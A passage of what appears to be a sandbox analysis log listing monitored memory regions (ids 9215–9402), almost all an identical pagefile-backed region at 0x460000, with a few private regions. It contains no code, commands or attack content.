pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9215 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9216 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9217 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9218 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9219 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9220 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9221 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9222 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9223 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9224 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9225 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9226 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9227 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9228 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9229 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9230 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9231 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9232 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9233 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9234 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9235 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9236 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9237 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9238 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9239 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9240 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9241 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9242 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9243 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9244 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9245 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9246 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9247 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9248 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9249 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9250 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9251 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9252 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9253 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9254 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9255 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9256 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9257 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9258 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9259 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9260 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9261 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9262 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9263 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9264 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9265 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9266 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9267 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9268 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9269 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9270 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9271 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9272 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9273 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9274 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9275 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9276 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9277 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9278 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9279 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9280 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9281 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9282 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9283 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9284 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9285 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9286 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9287 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9288 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9289 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9290 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9291 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9292 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9293 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9294 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9295 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9296 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9297 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9298 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9299 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9300 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9301 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9302 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9303 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9304 start_va = 0x470000 end_va = 0x472fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 9305 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9306 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9307 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9308 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9309 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9310 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9311 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9312 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9313 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9314 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9315 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9316 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9317 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9318 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9319 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9320 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9321 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9322 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9323 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9324 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9325 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9326 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9327 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 9328 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9329 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9330 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9331 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9332 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9333 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9334 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9335 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9336 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9337 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9338 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9339 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9340 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9341 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9342 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9343 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9344 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9345 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9349 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9350 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9351 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9352 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9353 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9354 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9356 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9358 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9359 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9362 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9364 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9368 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9372 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9375 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9378 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9379 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9380 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9382 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9384 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9385 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9386 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9389 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9390 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9391 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9393 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9394 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9395 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9397 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9398 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9399 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9400 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9401 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9402 start_va = 0x460000 end_va = 0x46ffff monitored = 